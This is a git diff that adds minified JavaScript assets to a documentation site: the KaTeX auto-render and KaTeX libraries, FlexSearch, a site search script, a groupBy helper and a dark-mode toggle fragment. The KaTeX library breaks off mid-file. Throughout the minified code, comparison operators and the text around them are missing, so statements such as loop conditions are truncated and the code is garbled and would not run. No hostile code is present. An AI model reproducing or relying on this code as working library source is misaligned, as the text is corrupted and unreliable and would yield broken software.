b/docs/public/js/auto-render-e6e57901eb.min.js @@ -0,0 +1 @@ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t(require("katex")):"function"==typeof define&&define.amd?define(["katex"],t):"object"==typeof exports?exports.renderMathInElement=t(require("katex")):e.renderMathInElement=t(e.katex)}("undefined"!=typeof self?self:this,(function(e){return function(){"use strict";var t={974:function(t){t.exports=e}},r={};function n(e){var a=r[e];if(void 0!==a)return a.exports;var i=r[e]={exports:{}};return t[e](i,i.exports,n),i.exports}n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,{a:t}),t},n.d=function(e,t){for(var r in t)n.o(t,r)&&!n.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)};var a={};return function(){n.d(a,{default:function(){return s}});var e=n(974),t=n.n(e),r=function(e,t,r){for(var n=r,a=0,i=e.length;n0&&(a.push({type:"text",data:e.slice(0,n)}),e=e.slice(n));var l=t.findIndex((function(t){return e.startsWith(t.left)}));if(-1===(n=r(t[l].right,e,t[l].left.length)))break;var d=e.slice(0,n+t[l].right.length),s=i.test(d)?d:e.slice(t[l].left.length,n);a.push({type:"math",data:s,rawData:d,display:t[l].display}),e=e.slice(n+t[l].right.length)}return""!==e&&a.push({type:"text",data:e}),a},l=function(e,r){var n=o(e,r.delimiters);if(1===n.length&&"text"===n[0].type)return null;for(var a=document.createDocumentFragment(),i=0;i{const t=document.getElementById("gdoc-dark-mode");t.onclick=function(){var e=localStorage.getItem(THEME),e=toggle(TOGGLE_MODES,e);localStorage.setItem(THEME,TOGGLE_MODES[e]),applyTheme(!1)}}); \ No newline at end of file diff --git a/docs/public/js/en.search.min.29aee3a5ae9b080698bbe2150a4ed529734c25a99cf0e5279141939c90644e2a.js b/docs/public/js/en.search.min.29aee3a5ae9b080698bbe2150a4ed529734c25a99cf0e5279141939c90644e2a.js new file mode 100644 index 0000000..98e0108 --- /dev/null +++ b/docs/public/js/en.search.min.29aee3a5ae9b080698bbe2150a4ed529734c25a99cf0e5279141939c90644e2a.js @@ -0,0 +1,22 @@ +'use strict';(function(){const input=document.querySelector('#gdoc-search-input');const results=document.querySelector('#gdoc-search-results');let showParent=true +if(input){input.addEventListener('focus',init);input.addEventListener('keyup',search);} +function init(){input.removeEventListener('focus',init);loadScript('/js/groupBy-174feb11c7.min.js');loadScript('/js/flexsearch-e54a90f706.min.js',function(){const indexCfgDefaults={tokenize:'forward'} +const indexCfg=indexCfgDefaults;const dataUrl='/en.search-data.min.json' +indexCfg.document={key:'id',index:['title','content'],store:['title','href','parent'],};const index=new FlexSearch.Document(indexCfg);window.geekdocSearchIndex=index;getJson(dataUrl,function(data){data.forEach(obj=>{window.geekdocSearchIndex.add(obj);});});});} +function search(){const searchCfg={enrich:true,limit:10};while(results.firstChild){results.removeChild(results.firstChild);} +if(!input.value){return results.classList.remove('has-hits');} +let searchHits=flattenHits(window.geekdocSearchIndex.search(input.value,searchCfg));if(searchHits.length<1){return results.classList.remove('has-hits');} +results.classList.add('has-hits');if(showParent===true){searchHits=groupBy(searchHits,hit=>hit.parent);} +const items=[];if(showParent===true){for(const section in searchHits){const item=document.createElement('li'),title=item.appendChild(document.createElement('span')),subList=item.appendChild(document.createElement('ul'));title.textContent=section;createLinks(searchHits[section],subList);items.push(item);}}else{const item=document.createElement('li'),title=item.appendChild(document.createElement('span')),subList=item.appendChild(document.createElement('ul'));title.textContent='Results';createLinks(searchHits,subList);items.push(item);} +items.forEach(item=>{results.appendChild(item);})} +function createLinks(pages,target){const items=[];for(const page of pages){const item=document.createElement("li"),entry=item.appendChild(document.createElement("span")),a=entry.appendChild(document.createElement("a"));entry.classList.add('flex') +a.href=page.href;a.textContent=page.title;a.classList.add('gdoc-search__entry') +if(target){target.appendChild(item);continue} +items.push(item);} +return items;} +function fetchErrors(response){if(!response.ok){throw Error(response.statusText);} +return response;} +function getJson(src,callback){fetch(src).then(fetchErrors).then(response=>response.json()).then(json=>callback(json)).catch(function(error){console.log(error);});} +function flattenHits(results){const items=[];const map=new Map();for(const field of results){for(const page of field.result){if(!map.has(page.doc.href)){map.set(page.doc.href,true);items.push(page.doc);}}} +return items} +function loadScript(src,callback){let script=document.createElement('script');script.defer=true;script.async=false;script.src=src;script.onload=callback;document.body.appendChild(script);}})(); \ No newline at end of file diff --git a/docs/public/js/flexsearch-e54a90f706.min.js b/docs/public/js/flexsearch-e54a90f706.min.js new file mode 100644 index 0000000..f670d94 --- /dev/null +++ b/docs/public/js/flexsearch-e54a90f706.min.js @@ -0,0 +1,27 @@ +/**! + * FlexSearch.js v0.7.21 (Compact) + * Copyright 2018-2021 Nextapps GmbH + * Author: Thomas Wilkerling + * Licence: Apache-2.0 + * https://github.com/nextapps-de/flexsearch + */ +(function(self){'use strict';var t;function v(a){return"undefined"!==typeof a?a:!0}function w(a){const b=Array(a);for(let c=0;c=this.m&&(u||!n[l])){var f=P(q,e,r),g="";switch(this.C){case "full":if(3f;h--)if(h-f>=this.m){var k=P(q,e,r,d,f);g=l.substring(f,h);Q(this,n,g,k,a,c)}break}case "reverse":if(2=this.m&&Q(this,n, +g,P(q,e,r,d,h),a,c);g=""}case "forward":if(1=this.m&&Q(this,n,g,f,a,c);break}default:if(this.G&&(f=Math.min(f/this.G(b,l,r)|0,q-1)),Q(this,n,l,f,a,c),u&&1=this.m&&!d[l]){d[l]=1;const p=this.l&&l>f;Q(this,m,p?f:l,P(g+(e/2>g?0:1),e,r,h-1,k-1),a,c,p?l:f)}}}}this.D||(this.register[a]=1)}}return this}; +function P(a,b,c,e,d){return c&&1=this.m&&!c[q])if(this.s||f||this.h[q])k[u++]=q,c[q]=1;else return e;a=k;d=a.length}if(!d)return e;b||(b=100);h=this.depth&&1=e)))break;if(n){if(f)return ma(k,e,0);b[b.length]=k;return}}return!c&&k}function ma(a,b,c){a=1===a.length?a[0]:[].concat.apply([],a);return c||a.length>b?a.slice(c,c+b):a} +function na(a,b,c,e){c?(e=e&&b>c,a=(a=a[e?b:c])&&a[e?c:b]):a=a[b];return a}t.contain=function(a){return!!this.register[a]};t.update=function(a,b){return this.remove(a).add(a,b)};t.remove=function(a,b){const c=this.register[a];if(c){if(this.D)for(let e=0,d;eb||c)d=d.slice(c,c+b);e&&(d=qa.call(this,d));return{tag:a,result:d}}}function qa(a){const b=Array(a.length);for(let c=0,e;c{let t=r.map(t=>e.map(e=>e(t))),a={};return t.forEach((e,t)=>{t=(_simpleAt(a,e)||[]).concat([r[t]]);_simpleSet(a,e,t)}),a},_isPlainObject=e=>null!=e&&"object"==typeof e&&e.constructor==Object,_parsePath=e=>Array.isArray(e)?e:`${e}`.split("."),_simpleAt=(e,t)=>_parsePath(t).reduce((e,t)=>null!=e&&e.hasOwnProperty(t)?e[t]:void 0,e),_simpleSet=(e,t,s)=>_parsePath(t).reduce((e,t,r,a)=>{a=r===a.length-1;return e.hasOwnProperty(t)&&(a||_isPlainObject(e[t]))||(e[t]={}),a?e[t]=s:e[t]},e); \ No newline at end of file diff --git a/docs/public/js/katex-b842636c68.min.js b/docs/public/js/katex-b842636c68.min.js new file mode 100644 index 0000000..26353bc --- /dev/null +++ b/docs/public/js/katex-b842636c68.min.js @@ -0,0 +1 @@ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.katex=t():e.katex=t()}("undefined"!=typeof self?self:this,(function(){return function(){"use strict";var e={d:function(t,r){for(var n in r)e.o(r,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:r[n]})},o:function(e,t){return Object.prototype.hasOwnProperty.call(e,t)}},t={};e.d(t,{default:function(){return Zn}});var r=function e(t,r){this.position=void 0;var n,a="KaTeX parse error: "+t,i=r&&r.loc;if(i&&i.start<=i.end){var o=i.lexer.input;n=i.start;var s=i.end;n===o.length?a+=" at end of input: ":a+=" at position "+(n+1)+": ";var l=o.slice(n,s).replace(/[^]/g,"$&\u0332");a+=(n>15?"\u2026"+o.slice(n-15,n):o.slice(0,n))+l+(s+15":">","<":"<",'"':""","'":"'"},o=/[&><"']/g;var s=function e(t){return"ordgroup"===t.type||"color"===t.type?1===t.body.length?e(t.body[0]):t:"font"===t.type?e(t.body):t},l={contains:function(e,t){return-1!==e.indexOf(t)},deflt:function(e,t){return void 0===e?t:e},escape:function(e){return String(e).replace(o,(function(e){return i[e]}))},hyphenate:function(e){return e.replace(a,"-$1").toLowerCase()},getBaseElem:s,isCharacterBox:function(e){var t=s(e);return"mathord"===t.type||"textord"===t.type||"atom"===t.type},protocolFromUrl:function(e){var t=/^\s*([^\\/#]*?)(?::|�*58|�*3a)/i.exec(e);return null!=t?t[1]:"_relative"}},h=function(){function e(e){this.displayMode=void 0,this.output=void 0,this.leqno=void 0,this.fleqn=void 0,this.throwOnError=void 0,this.errorColor=void 0,this.macros=void 0,this.minRuleThickness=void 0,this.colorIsTextColor=void 0,this.strict=void 0,this.trust=void 0,this.maxSize=void 0,this.maxExpand=void 0,this.globalGroup=void 0,e=e||{},this.displayMode=l.deflt(e.displayMode,!1),this.output=l.deflt(e.output,"htmlAndMathml"),this.leqno=l.deflt(e.leqno,!1),this.fleqn=l.deflt(e.fleqn,!1),this.throwOnError=l.deflt(e.throwOnError,!0),this.errorColor=l.deflt(e.errorColor,"#cc0000"),this.macros=e.macros||{},this.minRuleThickness=Math.max(0,l.deflt(e.minRuleThickness,0)),this.colorIsTextColor=l.deflt(e.colorIsTextColor,!1),this.strict=l.deflt(e.strict,"warn"),this.trust=l.deflt(e.trust,!1),this.maxSize=Math.max(0,l.deflt(e.maxSize,1/0)),this.maxExpand=Math.max(0,l.deflt(e.maxExpand,1e3)),this.globalGroup=l.deflt(e.globalGroup,!1)}var t=e.prototype;return t.reportNonstrict=function(e,t,r){var a=this.strict;if("function"==typeof a&&(a=a(e,t,r)),a&&"ignore"!==a){if(!0===a||"error"===a)throw new n("LaTeX-incompatible input and strict mode is set to 'error': "+t+" ["+e+"]",r);"warn"===a?"undefined"!=typeof console&&console.warn("LaTeX-incompatible input and strict mode is set to 'warn': "+t+" ["+e+"]"):"undefined"!=typeof console&&console.warn("LaTeX-incompatible input and strict mode is set to unrecognized '"+a+"': "+t+" ["+e+"]")}},t.useStrictBehavior=function(e,t,r){var n=this.strict;if("function"==typeof n)try{n=n(e,t,r)}catch(e){n="error"}return!(!n||"ignore"===n)&&(!0===n||"error"===n||("warn"===n?("undefined"!=typeof console&&console.warn("LaTeX-incompatible input and strict mode is set to 'warn': "+t+" ["+e+"]"),!1):("undefined"!=typeof console&&console.warn("LaTeX-incompatible input and strict mode is set to unrecognized '"+n+"': "+t+" ["+e+"]"),!1)))},t.isTrusted=function(e){e.url&&!e.protocol&&(e.protocol=l.protocolFromUrl(e.url));var t="function"==typeof this.trust?this.trust(e):this.trust;return Boolean(t)},e}(),m=function(){function e(e,t,r){this.id=void 0,this.size=void 0,this.cramped=void 0,this.id=e,this.size=t,this.cramped=r}var t=e.prototype;return t.sup=function(){return c[u[this.id]]},t.sub=function(){return c[p[this.id]]},t.fracNum=function(){return c[d[this.id]]},t.fracDen=function(){return c[f[this.id]]},t.cramp=function(){return c[g[this.id]]},t.text=function(){return c[v[this.id]]},t.isTight=function(){return this.size>=2},e}(),c=[new m(0,0,!1),new m(1,0,!0),new m(2,1,!1),new m(3,1,!0),new m(4,2,!1),new m(5,2,!0),new m(6,3,!1),new m(7,3,!0)],u=[4,5,4,5,6,7,6,7],p=[5,5,5,5,7,7,7,7],d=[2,3,4,5,6,7,6,7],f=[3,3,5,5,7,7,7,7],g=[1,1,3,3,5,5,7,7],v=[0,1,2,3,2,3,2,3],b={DISPLAY:c[0],TEXT:c[2],SCRIPT:c[4],SCRIPTSCRIPT:c[6]},y=[{name:"latin",blocks:[[256,591],[768,879]]},{name:"cyrillic",blocks:[[1024,1279]]},{name:"armenian",blocks:[[1328,1423]]},{name:"brahmic",blocks:[[2304,4255]]},{name:"georgian",blocks:[[4256,4351]]},{name:"cjk",blocks:[[12288,12543],[19968,40879],[65280,65376]]},{name:"hangul",blocks:[[44032,55215]]}];var x=[];function w(e){for(var t=0;t=x[t]&&e<=x[t+1])return!0;return!1}y.forEach((function(e){return e.blocks.forEach((function(e){return x.push.apply(x,e)}))}));var k=80,S={doubleleftarrow:"M262 157\nl10-10c34-36 62.7-77 86-123 3.3-8 5-13.3 5-16 0-5.3-6.7-8-20-8-7.3\n 0-12.2.5-14.5 1.5-2.3 1-4.8 4.5-7.5 10.5-49.3 97.3-121.7 169.3-217 216-28\n 14-57.3 25-88 33-6.7 2-11 3.8-13 5.5-2 1.7-3 4.2-3 7.5s1 5.8 3 7.5\nc2 1.7 6.3 3.5 13 5.5 68 17.3 128.2 47.8 180.5 91.5 52.3 43.7 93.8 96.2 124.5\n 157.5 9.3 8 15.3 12.3 18 13h6c12-.7 18-4 18-10 0-2-1.7-7-5-15-23.3-46-52-87\n-86-123l-10-10h399738v-40H218c328 0 0 0 0 0l-10-8c-26.7-20-65.7-43-117-69 2.7\n-2 6-3.7 10-5 36.7-16 72.3-37.3 107-64l10-8h399782v-40z\nm8 0v40h399730v-40zm0 194v40h399730v-40z",doublerightarrow:"M399738 392l\n-10 10c-34 36-62.7 77-86 123-3.3 8-5 13.3-5 16 0 5.3 6.7 8 20 8 7.3 0 12.2-.5\n 14.5-1.5 2.3-1 4.8-4.5 7.5-10.5 49.3-97.3 121.7-169.3 217-216 28-14 57.3-25 88\n-33 6.7-2 11-3.8 13-5.5 2-1.7 3-4.2 3-7.5s-1-5.8-3-7.5c-2-1.7-6.3-3.5-13-5.5-68\n-17.3-128.2-47.8-180.5-91.5-52.3-43.7-93.8-96.2-124.5-157.5-9.3-8-15.3-12.3-18\n-13h-6c-12 .7-18 4-18 10 0 2 1.7 7 5 15 23.3 46 52 87 86 123l10 10H0v40h399782\nc-328 0 0 0 0 0l10 8c26.7 20 65.7 43 117 69-2.7 2-6 3.7-10 5-36.7 16-72.3 37.3\n-107 64l-10 8H0v40zM0 157v40h399730v-40zm0 194v40h399730v-40z",leftarrow:"M400000 241H110l3-3c68.7-52.7 113.7-120\n 135-202 4-14.7 6-23 6-25 0-7.3-7-11-21-11-8 0-13.2.8-15.5 2.5-2.3 1.7-4.2 5.8\n-5.5 12.5-1.3 4.7-2.7 10.3-4 17-12 48.7-34.8 92-68.5 130S65.3 228.3 18 247\nc-10 4-16 7.7-18 11 0 8.7 6 14.3 18 17 47.3 18.7 87.8 47 121.5 85S196 441.3 208\n 490c.7 2 1.3 5 2 9s1.2 6.7 1.5 8c.3 1.3 1 3.3 2 6s2.2 4.5 3.5 5.5c1.3 1 3.3\n 1.8 6 2.5s6 1 10 1c14 0 21-3.7 21-11 0-2-2-10.3-6-25-20-79.3-65-146.7-135-202\n l-3-3h399890zM100 241v40h399900v-40z",leftbrace:"M6 548l-6-6v-35l6-11c56-104 135.3-181.3 238-232 57.3-28.7 117\n-45 179-50h399577v120H403c-43.3 7-81 15-113 26-100.7 33-179.7 91-237 174-2.7\n 5-6 9-10 13-.7 1-7.3 1-20 1H6z",leftbraceunder:"M0 6l6-6h17c12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13\n 35.313 51.3 80.813 93.8 136.5 127.5 55.688 33.7 117.188 55.8 184.5 66.5.688\n 0 2 .3 4 1 18.688 2.7 76 4.3 172 5h399450v120H429l-6-1c-124.688-8-235-61.7\n-331-161C60.687 138.7 32.312 99.3 7 54L0 41V6z",leftgroup:"M400000 80\nH435C64 80 168.3 229.4 21 260c-5.9 1.2-18 0-18 0-2 0-3-1-3-3v-38C76 61 257 0\n 435 0h399565z",leftgroupunder:"M400000 262\nH435C64 262 168.3 112.6 21 82c-5.9-1.2-18 0-18 0-2 0-3 1-3 3v38c76 158 257 219\n 435 219h399565z",leftharpoon:"M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3\n-3.3 10.2-9.5 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5\n-18.3 3-21-1.3-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7\n-196 228-6.7 4.7-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40z",leftharpoonplus:"M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3-3.3 10.2-9.5\n 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5-18.3 3-21-1.3\n-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7-196 228-6.7 4.7\n-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40zM0 435v40h400000v-40z\nm0 0v40h400000v-40z",leftharpoondown:"M7 241c-4 4-6.333 8.667-7 14 0 5.333.667 9 2 11s5.333\n 5.333 12 10c90.667 54 156 130 196 228 3.333 10.667 6.333 16.333 9 17 2 .667 5\n 1 9 1h5c10.667 0 16.667-2 18-6 2-2.667 1-9.667-3-21-32-87.333-82.667-157.667\n-152-211l-3-3h399907v-40zM93 281 H400000 v-40L7 241z",leftharpoondownplus:"M7 435c-4 4-6.3 8.7-7 14 0 5.3.7 9 2 11s5.3 5.3 12\n 10c90.7 54 156 130 196 228 3.3 10.7 6.3 16.3 9 17 2 .7 5 1 9 1h5c10.7 0 16.7\n-2 18-6 2-2.7 1-9.7-3-21-32-87.3-82.7-157.7-152-211l-3-3h399907v-40H7zm93 0\nv40h399900v-40zM0 241v40h399900v-40zm0 0v40h399900v-40z",lefthook:"M400000 281 H103s-33-11.2-61-33.5S0 197.3 0 164s14.2-61.2 42.5\n-83.5C70.8 58.2 104 47 142 47 c16.7 0 25 6.7 25 20 0 12-8.7 18.7-26 20-40 3.3\n-68.7 15.7-86 37-10 12-15 25.3-15 40 0 22.7 9.8 40.7 29.5 54 19.7 13.3 43.5 21\n 71.5 23h399859zM103 281v-40h399897v40z",leftlinesegment:"M40 281 V428 H0 V94 H40 V241 H400000 v40z\nM40 281 V428 H0 V94 H40 V241 H400000 v40z",leftmapsto:"M40 281 V448H0V74H40V241H400000v40z\nM40 281 V448H0V74H40V241H400000v40z",leftToFrom:"M0 147h400000v40H0zm0 214c68 40 115.7 95.7 143 167h22c15.3 0 23\n-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69-70-101l-7-8h399905v-40H95l7-8\nc28.7-32 52-65.7 70-101 10.7-23.3 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 265.3\n 68 321 0 361zm0-174v-40h399900v40zm100 154v40h399900v-40z",longequal:"M0 50 h400000 v40H0z m0 194h40000v40H0z\nM0 50 h400000 v40H0z m0 194h40000v40H0z",midbrace:"M200428 334\nc-100.7-8.3-195.3-44-280-108-55.3-42-101.7-93-139-153l-9-14c-2.7 4-5.7 8.7-9 14\n-53.3 86.7-123.7 153-211 199-66.7 36-137.3 56.3-212 62H0V214h199568c178.3-11.7\n 311.7-78.3 403-201 6-8 9.7-12 11-12 .7-.7 6.7-1 18-1s17.3.3 18 1c1.3 0 5 4 11\n 12 44.7 59.3 101.3 106.3 170 141s145.3 54.3 229 60h199572v120z",midbraceunder:"M199572 214\nc100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14\n 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3\n 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0\n-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z",oiintSize1:"M512.6 71.6c272.6 0 320.3 106.8 320.3 178.2 0 70.8-47.7 177.6\n-320.3 177.6S193.1 320.6 193.1 249.8c0-71.4 46.9-178.2 319.5-178.2z\nm368.1 178.2c0-86.4-60.9-215.4-368.1-215.4-306.4 0-367.3 129-367.3 215.4 0 85.8\n60.9 214.8 367.3 214.8 307.2 0 368.1-129 368.1-214.8z",oiintSize2:"M757.8 100.1c384.7 0 451.1 137.6 451.1 230 0 91.3-66.4 228.8\n-451.1 228.8-386.3 0-452.7-137.5-452.7-228.8 0-92.4 66.4-230 452.7-230z\nm502.4 230c0-111.2-82.4-277.2-502.4-277.2s-504 166-504 277.2\nc0 110 84 276 504 276s502.4-166 502.4-276z",oiiintSize1:"M681.4 71.6c408.9 0 480.5 106.8 480.5 178.2 0 70.8-71.6 177.6\n-480.5 177.6S202.1 320.6 202.1 249.8c0-71.4 70.5-178.2 479.3-178.2z\nm525.8 178.2c0-86.4-86.8-215.4-525.7-215.4-437.9 0-524.7 129-524.7 215.4 0\n85.8 86.8 214.8 524.7 214.8 438.9 0 525.7-129 525.7-214.8z",oiiintSize2:"M1021.2 53c603.6 0 707.8 165.8 707.8 277.2 0 110-104.2 275.8\n-707.8 275.8-606 0-710.2-165.8-710.2-275.8C311 218.8 415.2 53 1021.2 53z\nm770.4 277.1c0-131.2-126.4-327.6-770.5-327.6S248.4 198.9 248.4 330.1\nc0 130 128.8 326.4 772.7 326.4s770.5-196.4 770.5-326.4z",rightarrow:"M0 241v40h399891c-47.3 35.3-84 78-110 128\n-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20\n 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7\n 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85\n-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5\n-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67\n 151.7 139 205zm0 0v40h399900v-40z",rightbrace:"M400000 542l\n-6 6h-17c-12.7 0-19.3-.3-20-1-4-4-7.3-8.3-10-13-35.3-51.3-80.8-93.8-136.5-127.5\ns-117.2-55.8-184.5-66.5c-.7 0-2-.3-4-1-18.7-2.7-76-4.3-172-5H0V214h399571l6 1\nc124.7 8 235 61.7 331 161 31.3 33.3 59.7 72.7 85 118l7 13v35z",rightbraceunder:"M399994 0l6 6v35l-6 11c-56 104-135.3 181.3-238 232-57.3\n 28.7-117 45-179 50H-300V214h399897c43.3-7 81-15 113-26 100.7-33 179.7-91 237\n-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1h17z",rightgroup:"M0 80h399565c371 0 266.7 149.4 414 180 5.9 1.2 18 0 18 0 2 0\n 3-1 3-3v-38c-76-158-257-219-435-219H0z",rightgroupunder:"M0 262h399565c371 0 266.7-149.4 414-180 5.9-1.2 18 0 18\n 0 2 0 3 1 3 3v38c-76 158-257 219-435 219H0z",rightharpoon:"M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3\n-3.7-15.3-11-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2\n-10.7 0-16.7 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58\n 69.2 92 94.5zm0 0v40h399900v-40z",rightharpoonplus:"M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3-3.7-15.3-11\n-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2-10.7 0-16.7\n 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58 69.2 92 94.5z\nm0 0v40h399900v-40z m100 194v40h399900v-40zm0 0v40h399900v-40z",rightharpoondown:"M399747 511c0 7.3 6.7 11 20 11 8 0 13-.8 15-2.5s4.7-6.8\n 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3 8.5-5.8 9.5\n-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3-64.7 57-92 95\n-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 241v40h399900v-40z",rightharpoondownplus:"M399747 705c0 7.3 6.7 11 20 11 8 0 13-.8\n 15-2.5s4.7-6.8 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3\n 8.5-5.8 9.5-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3\n-64.7 57-92 95-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 435v40h399900v-40z\nm0-194v40h400000v-40zm0 0v40h400000v-40z",righthook:"M399859 241c-764 0 0 0 0 0 40-3.3 68.7-15.7 86-37 10-12 15-25.3\n 15-40 0-22.7-9.8-40.7-29.5-54-19.7-13.3-43.5-21-71.5-23-17.3-1.3-26-8-26-20 0\n-13.3 8.7-20 26-20 38 0 71 11.2 99 33.5 0 0 7 5.6 21 16.7 14 11.2 21 33.5 21\n 66.8s-14 61.2-42 83.5c-28 22.3-61 33.5-99 33.5L0 241z M0 281v-40h399859v40z",rightlinesegment:"M399960 241 V94 h40 V428 h-40 V281 H0 v-40z\nM399960 241 V94 h40 V428 h-40 V281 H0 v-40z",rightToFrom:"M400000 167c-70.7-42-118-97.7-142-167h-23c-15.3 0-23 .3-23\n 1 0 1.3 5.3 13.7 16 37 18 35.3 41.3 69 70 101l7 8H0v40h399905l-7 8c-28.7 32\n-52 65.7-70 101-10.7 23.3-16 35.7-16 37 0 .7 7.7 1 23 1h23c24-69.3 71.3-125 142\n-167z M100 147v40h399900v-40zM0 341v40h399900v-40z",twoheadleftarrow:"M0 167c68 40\n 115.7 95.7 143 167h22c15.3 0 23-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69\n-70-101l-7-8h125l9 7c50.7 39.3 85 86 103 140h46c0-4.7-6.3-18.7-19-42-18-35.3\n-40-67.3-66-96l-9-9h399716v-40H284l9-9c26-28.7 48-60.7 66-96 12.7-23.333 19\n-37.333 19-42h-46c-18 54-52.3 100.7-103 140l-9 7H95l7-8c28.7-32 52-65.7 70-101\n 10.7-23.333 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 71.3 68 127 0 167z",twoheadrightarrow:"M400000 167\nc-68-40-115.7-95.7-143-167h-22c-15.3 0-23 .3-23 1 0 1.3 5.3 13.7 16 37 18 35.3\n 41.3 69 70 101l7 8h-125l-9-7c-50.7-39.3-85-86-103-140h-46c0 4.7 6.3 18.7 19 42\n 18 35.3 40 67.3 66 96l9 9H0v40h399716l-9 9c-26 28.7-48 60.7-66 96-12.7 23.333\n-19 37.333-19 42h46c18-54 52.3-100.7 103-140l9-7h125l-7 8c-28.7 32-52 65.7-70\n 101-10.7 23.333-16 35.7-16 37 0 .7 7.7 1 23 1h22c27.3-71.3 75-127 143-167z",tilde1:"M200 55.538c-77 0-168 73.953-177 73.953-3 0-7\n-2.175-9-5.437L2 97c-1-2-2-4-2-6 0-4 2-7 5-9l20-12C116 12 171 0 207 0c86 0\n 114 68 191 68 78 0 168-68 177-68 4 0 7 2 9 5l12 19c1 2.175 2 4.35 2 6.525 0\n 4.35-2 7.613-5 9.788l-19 13.05c-92 63.077-116.937 75.308-183 76.128\n-68.267.847-113-73.952-191-73.952z",tilde2:"M344 55.266c-142 0-300.638 81.316-311.5 86.418\n-8.01 3.762-22.5 10.91-23.5 5.562L1 120c-1-2-1-3-1-4 0-5 3-9 8-10l18.4-9C160.9\n 31.9 283 0 358 0c148 0 188 122 331 122s314-97 326-97c4 0 8 2 10 7l7 21.114\nc1 2.14 1 3.21 1 4.28 0 5.347-3 9.626-7 10.696l-22.3 12.622C852.6 158.372 751\n 181.476 676 181.476c-149 0-189-126.21-332-126.21z",tilde3:"M786 59C457 59 32 175.242 13 175.242c-6 0-10-3.457\n-11-10.37L.15 138c-1-7 3-12 10-13l19.2-6.4C378.4 40.7 634.3 0 804.3 0c337 0\n 411.8 157 746.8 157 328 0 754-112 773-112 5 0 10 3 11 9l1 14.075c1 8.066-.697\n 16.595-6.697 17.492l-21.052 7.31c-367.9 98.146-609.15 122.696-778.15 122.696\n -338 0-409-156.573-744-156.573z",tilde4:"M786 58C457 58 32 177.487 13 177.487c-6 0-10-3.345\n-11-10.035L.15 143c-1-7 3-12 10-13l22-6.7C381.2 35 637.15 0 807.15 0c337 0 409\n 177 744 177 328 0 754-127 773-127 5 0 10 3 11 9l1 14.794c1 7.805-3 13.38-9\n 14.495l-20.7 5.574c-366.85 99.79-607.3 139.372-776.3 139.372-338 0-409\n -175.236-744-175.236z",vec:"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",widehat1:"M529 0h5l519 115c5 1 9 5 9 10 0 1-1 2-1 3l-4 22\nc-1 5-5 9-11 9h-2L532 67 19 159h-2c-5 0-9-4-11-9l-5-22c-1-6 2-12 8-13z",widehat2:"M1181 0h2l1171 176c6 0 10 